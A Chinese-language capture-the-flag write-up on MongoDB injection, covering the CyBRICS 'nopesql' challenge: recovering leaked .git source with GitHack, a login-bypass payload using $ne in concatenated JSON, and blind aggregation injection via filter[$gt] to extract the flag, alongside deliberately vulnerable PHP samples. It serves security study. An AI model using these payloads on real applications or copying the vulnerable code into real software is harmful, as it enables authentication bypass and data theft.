mongodb注入
cybircsctf的一道nopesql,开始没想到是mongodb注入,某天惊奇地发现题目还没关,复现一下,学习一下mongodb注入
mongodb
参考链接:http://www.vuln.cn/6354
1.用mongo类中相应的方法执行增查减改,传递进入的参数是一个数组:
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$coll = $db->test; //选择集合
$coll->save(); //增
$coll->find(); //查
$coll->remove(); //减
$coll->update(); //改
2.用execute方法执行字符串 传递进入的参数是query的值:
#!php
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$query = "db.table.save({'newsid':1})"; //增
$query = "db.table.find({'newsid':1})"; //查
$query = "db.table.remove({'newsid':1})"; //减
$query = "db.table.update({'newsid':1},{'newsid',2})"; 改
$result = $db->execute($query);
shell和php
php语句
$db->find(["num"=>['$gt'=>2],"name"=>"test_3"])
shell语句
b.tr1ple.find({'num':{"$gt":2},'name':'test_3'})
相当于sql语句
select * from tr1ple where num>2 and name="test_3"
注入方式
mongodb条件操作符
操作符 | 对应 |
---|---|
$lt | < |
$lte | <= |
$ne | != |
$gt | > |
$gte | >= |
数组注入
#!php
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$coll = $db->test; //选择集合
$username = $_GET['username'];
$password = $_GET['password'];
$data = array(
'username'=>$username,
'password'=>$password
);
$data = $coll->find($data);
$count = $data->count();
if ($count>0) {
foreach ($data as $user) {
echo 'username:'.$user['username']."</br>";
echo 'password:'.$user['password']."</br>";
}
}
else{
echo '未找到';
}
?>
此时我们传递参数
?username=test&password=test
相当于执行了查询语句
db->test->find({username:’test’,password:’test’});
并且输出查询的内容
而我们要注入的语句是
?username[$ne]=test&password[$ne]=test
相当于执行了
db.test.find({username:{‘$ne’:’test’},password:{‘$ne’:’test’}});
相当于对username!=test,password!=test的查询
此处是字符的比较,比较的是字符的ascii值
对应sql语句:
select * from test where username!=’test’ and password!=’test’;
返回所有username!=test,password!=test的结果
如果读取后并没有回显,我们可以采取$regex操作符来一位一位获取数据。
传递参数为
username[$regex]=^a
对应的操作为
db.test.find({username:{‘$regex’:’^a’},password:{‘$regex’:’^a’}})
从第一位开始,^a,^a1,^a13 ……
拼接字符串时的注入
#!php
<?php
$username = $_GET['username'];
$password = $_GET['password'];
$query = "var data = db.test.findOne({username:'$username',password:'$password'});return data;";
//$query = "return db.test.findOne();";
//echo $query;
$mongo = new mongoclient();
$db = $mongo->myinfo;
$data = $db->execute($query);
if ($data['ok'] == 1) {
if ($data['retval']!=NULL) {
echo 'username:'.$data['retval']['username']."</br>";
echo 'password:'.$data['retval']['password']."</br>";
}else{
echo '未找到';
}
}else{
echo $data['errmsg'];
}
?>
和sql中堆叠注入有点像,将前面正常的语句闭合,加,后面的构造的语句依旧可以执行
题目
git源码泄露,大佬wp中学到的姿势,虽然它404了,但是我们可以看到.git后面加了/,虚假的404,可以用githack得到源码。
GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。
渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞。
工作原理
解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 )
去.git/objects/ 文件夹下下载对应的文件
zlib解压文件,按原始的目录结构写入源代码
命令:
python git.py http://173.199.118.226/.git/
得到index.php源码:
登陆部分
<?php
require_once __DIR__ . "/vendor/autoload.php";
function auth($username, $password) {
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users;
$raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
$document = $collection->findOne(json_decode($raw_query));
if (isset($document) && isset($document->password)) {
return true;
}
return false;
}
$user = false;
if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) {
$user = auth($_COOKIE['username'], $_COOKIE['password']);
}
if (isset($_POST['username']) && isset($_POST['password'])) {
$user = auth($_POST['username'], $_POST['password']);
if ($user) {
setcookie('username', $_POST['username']);
setcookie('password', $_POST['password']);
}
}
?>
我们观察到$raw_query处可以进行字符串的拼接:
构造username:admin password=","password":{"$ne":"a"},"username":"admin
或者password=","password":{"$gt":"a"},"username":"admin
将前面语句闭合,并构造了新的查询,用户名为admin,password不为a,就可以返回true从而进行登陆
查询部分
<?php if ($user == true): ?>
Welcome!
<div>
Group most common news by
<a href="?filter=$category">category</a> |
<a href="?filter=$public">publicity</a><br>
</div>
<?php
$filter = $_GET['filter'];
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
$pipeline = [
['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
['$sort' => ['count' => -1]],
['$limit' => 5],
];
$filters = [
['$project' => ['category' => $filter]]
];
$cursor = $collection->aggregate(array_merge($filters, $pipeline));
?>
<?php if (isset($filter)): ?>
<?php
foreach ($cursor as $category) {
printf("%s has %d news<br>", $category['_id'], $category['count']);
}
?>
<?php endif; ?>
<?php else: ?>
<?php if (isset($_POST['username']) && isset($_POST['password'])): ?>
Invalid username or password
<?php endif; ?>
<form action='/' method="POST">
<input type="text" name="username">
<input type="password" name="password">
<input type="submit">
</form>
<h2>News</h2>
<?php
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
$cursor = $collection->find(['public' => 1]);
foreach ($cursor as $news) {
printf("%s<br>", $news['title']);
}
?>
<?php endif; ?>
MongoDB中聚合(aggregate)主要用于处理数据(诸如统计平均值,求和等),并返回计算后的数据结果,有点类似sql语句中的count(*)。MongoDB的管道将MongoDB文档在一个管道处理完毕后将结果传递给下一个管道处理。管道操作是可以重复的,以下是几个管道相关操作中的表达式:
$project:修改输入文档的结构。可以用来重命名、增加或删除域,也可以用于创建计算结果以及嵌套文档,可以把它当作指定域,因为默认find()函数将范围集合中所有的域的数据(可以把它当作SQL里面的字段来理解)。
$limit:用来限制MongoDB聚合管道返回的文档数。
$group:将集合中的文档分组,可用于统计结果。
$sort:将输入文档排序后输出。(使用1和-1来指定排序的方式,其中1为升序排列,而-1是用于降序排列)
首先我们来理解一下
1
$pipeline = [
['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
['$sort' => ['count' => -1]],//降序输出
['$limit' => 5],//限制返回文档数为5
];
'_id' => '$category'前面的情况出现一次,$sum值+1(如果是=>2的话+2),并赋值给count
{ $group: { _id:"$分组字段名", 显示字段名: { 聚集函数: "$字段名"},[显示字段名2: { 聚集函数: "$字段名"}, ...] } }
2
$filters = [
['$project' => ['category' => $filter]]
];
对category进行了重命名
3
$cursor = $collection->aggregate(array_merge($filters, $pipeline));
array_merge() 函数把一个或多个数组合并为一个数组。
4
foreach ($cursor as $category) {
printf("%s has %d news<br>", $category['_id'], $category['count']);}
将cursor中所有组遍历赋值给category,打印其中_id和count
我们传递filter参数,并把其值作为分组字段,返回各分组信息,当filter=$category ,我们可以看到他输出的结果是
Welcome!
Group most common news by category | publicity
politics has 9 news
flags has 9 news
finance has 5 news
comedy has 5 news
测试发现category还可以是$_id,$text,$title,但是limit的限制没法打印text中的flag
数组盲注
需要传递两个参数,而且前后$内容要一致
?filter[$gt][0]=$text&filter[$gt][1]=c
相当于
['$project' => ['category' => [$gt => ["text", "c"]]]]
后面的c为text分组内的内容,所以前后参数都要为$gt
payload是
?filter[$gt][0]=$text&filter[$gt][1]=cy
显示
?filter[$gt][0]=$text&filter[$gt][1]=cz
则显示
就可以写脚本得到flag
得到flag后也可以对此进行验证
?filter[$ne][0]=$text&filter[$ne][1]=cybrics{7|-|15 15 4 7E><7 |=|_49}